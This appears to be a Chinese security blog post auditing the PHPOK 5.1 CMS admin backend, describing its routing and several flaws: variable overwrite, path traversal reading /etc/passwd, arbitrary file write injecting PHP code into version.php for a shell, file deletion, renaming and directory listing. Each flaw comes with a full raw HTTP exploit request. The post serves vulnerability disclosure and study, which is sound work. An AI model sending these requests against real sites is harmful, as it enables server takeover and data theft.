前言
最近审了一下phpok,能力有限,目前找到的大部后台一些能利用的洞,涉及到的漏洞类型也挺多的,能getshell,在这里分享一些自己的拙见~
基本分析
官网下载最新的phpok 5.1版本:https://phpok.com
首先可以黑白盒结合的方式来分析路由解析规则:
跟目下有这么几个入口文件:
纵览整个目录,容易发现该程序是mvc的模式来编写的,至少有三个入口:
index.php,api.php,admin.php
所以,我们可以打开框架目录framework/来印证这个猜想:
这时候我们可以结合黑盒的方式看具体的解析到具体文件(控制器)以及具体的方法的过程,安装后网站后,随便点开个页面,观察参数变化:
再看看后台:
到这里其实差不多已经知道解析规则了,比如:
http://phpok/index.php?c=cart&f=checkout&id[]=2
- 入口:index.php
- 控制器:参数c=cart,对应着框架目录www模块,路径:framework/www/cart_control.php
- 方法:参数f=checkout,对应着checkout_f()方法
路由文件中会自动将f参数最后加入_f
反观,比如我们要调用framework/admin/freight_control.php的price_save_f()方法:
对应的url即:http://phpok/admin.php?c=freight&f=price_save
即在控制器中,只有以_f结尾的函数名可以直接调用
知道文件解析规则了,下面就可以从入口开始审,审全局过滤,审相关敏感函数进行回溯等等。
从框架入口跟进后,发现framework/init.php 1611行存在parse_str变量覆盖
$query_string参数从framework/libs/server.php 94行传入:
比如访问:http://phpok/?data[script]=passer6y
如果想要利用的话最好是能覆盖全局变量,$_SESSION,$config这些,我在尝试覆盖$_SESSION的时候传入?_SESSION[script]=passer6y,经过动态调试后,发现会自动多加一个下划线,变成这样__SESSION[script]=passer6y。
后来也尝试了利用$_GET变量的一些特性在处理参数的时候,会将参数名中的空格、.、[替换成_,比如传入.SESSION[script]=passer6y会解析成_SESSION[script]=passer6y,但最终还是没有成功覆盖,师傅们有好的思路一起来交流交流~
跟完框架入口核心文件之后,然后进框架目录的www模块,跟完了也没挖到一个洞,接着就开始审核心的libs库,看功能点来回溯,接着就找到了这么些后台洞:
当时在审框架里面的libs库里的file.php,看到cat命令眼前一亮
回溯到了:
framework/admin/tpl_control.php
framework/admin/appsys_control.php
有两处均存在该问题:
exp1:
POST /admin.php?c=appsys&f=file_edit&id=fav&title=../../../../../../../etc/passwd HTTP/1.1
Host: phpok
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; U; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3690.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: PHPSESSION=ilc9ev2s0fv8rn9hckfh07hni3; XDEBUG_SESSION=PHPSTORM
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
exp2:
POST /admin.php?c=tpl&f=edit&id=1&title=../../../../../../../etc/passwd HTTP/1.1
Host: phpok
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; U; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3690.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: PHPSESSION=ilc9ev2s0fv8rn9hckfh07hni3; XDEBUG_SESSION=PHPSTORM
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
libs库时候发现的,framework/libs/file.php 108行:
跟进make()函数,185行:
可以看到是用来创建文件或目录的函数
继续跟_write()函数,同文件394行:
良心的程序员还帮我们把转义符给去掉了
分析到这里基本可以知道如果vim()函数可控,那么可以写入任意文件
使用phpstorm command+shift+f全局搜索
在framework/admin/tpl_control.php的383行找到edit_save_f()
下面构造exp就很简单了。
exp:
POST /admin.php?c=tpl&f=edit_save&id=1&title=../../../../../../../Users/passer6y/Documents/www/phpok/version.php&content=<%3fphp+phpinfo()%3becho+"passer6y"%3b%3f> HTTP/1.1
Host: phpok
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; U; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3690.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: PHPSESSION=ilc9ev2s0fv8rn9hckfh07hni3; XDEBUG_SESSION=PHPSTORM
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
在framework/admin/tpl_control.php 383行 edit_save_f()函数也有这个问题
同样类似的方法在framework/admin/tpl_control.php 303行 delfile_f()函数:
在libs库中,framework/libs/file.php,148行rm()函数也存在该问题
exp:
POST /admin.php?c=tpl&f=delfile&id=1&title=../../../../../../../Users/passer6y/Documents/www/phpok/version.php HTTP/1.1
Host: phpok
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; U; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3690.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: PHPSESSION=ilc9ev2s0fv8rn9hckfh07hni3; XDEBUG_SESSION=PHPSTORM
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
这种漏洞只能和其他洞打组合拳利用才能玩
framework/admin/tpl_control.php
182行:
跟进215行:$this->lib(‘file’)->mv($file,$newfile);
framework/libs/file.php 269行:
利用条件比较多,得知道文件名,其次想拿shell的话,得想办法写入自己的shell,比如想办法写到缓存里或者其他的,然后把原本不能当php解析的改成php扩展名等等..
framework/admin/appsys_control.php 358行 filelist_f()
$tpl_list = $this->lib(‘file’)->ls($tpl_dir); 388行
跟进:
至于id传入啥参数,可以根据这个$rs = $this->model(‘tpl’)->get_one($id);根据路由跟进到:framework/model/appsys.php 117行:id对应着_app目录下的文件名
exp:
GET /admin.php?c=appsys&f=filelist&id=fav&folder=../../../../ HTTP/1.1
Host: phpok
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.8d Safari/537.36
content-type: application/json
Accept: application/json, text/javascript, */*; q=0.01
PHPSESSION: ilc9ev2s0fv8rn9hckfh07hni3
X-Requested-With: XMLHttpRequest
request_type: ajax
phpok_ajax: 1
Referer: http://phpok/index.php?id=news&cate=company
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: PHPSESSION=ilc9ev2s0fv8rn9hckfh07hni3
Connection: close
背锅的file文件:framework/libs/file.php…
能力有限,只能挖出这么些鸡肋洞,希望各位师傅多多指点~
发表评论
您还未登录,请先登录。
登录